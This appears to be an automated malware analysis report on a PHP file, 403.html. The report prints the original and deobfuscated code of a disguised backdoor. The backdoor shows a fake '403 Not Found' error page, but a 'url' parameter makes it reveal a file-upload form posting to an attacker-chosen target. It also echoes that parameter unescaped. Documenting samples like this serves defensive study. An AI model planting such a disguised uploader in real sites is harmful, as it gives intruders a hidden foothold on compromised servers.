PHP Malware Analysis
403.html
md5: c6738dfdd0cd9e0a8f2d317c88bcfb02
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Input
- _GET (Deobfuscated, Original)
Title
- 403 Not Found (Deobfuscated, HTML, Original)
Deobfuscated PHP code
<?php
if ($_GET[url]) {
echo 'target:' . $_GET[url];
echo '<form action="' . $_GET[url] . '" method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>';
} else {
echo "<html><head><title>403 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL " . $_SERVER['REQUEST_URI'] . " was not found on this server.</p>\n<hr>\n<p>Additionally, a 404 Not Found\nerror was encountered while trying to use an ErrorDocument to handle the request.</p>\n</body></html>";
}Execution traces
Generated HTML code
<html><head></head><body>Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
';
} else {
echo "<title>403 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
<hr>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
";
}
?></body></html>Original PHP code
<?php
if ($_GET[url]){
echo 'target:'.$_GET[url];
echo '<form action="'.$_GET[url].'" method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>';
} else {
echo "<html><head><title>403 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
<hr>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>";
}
?>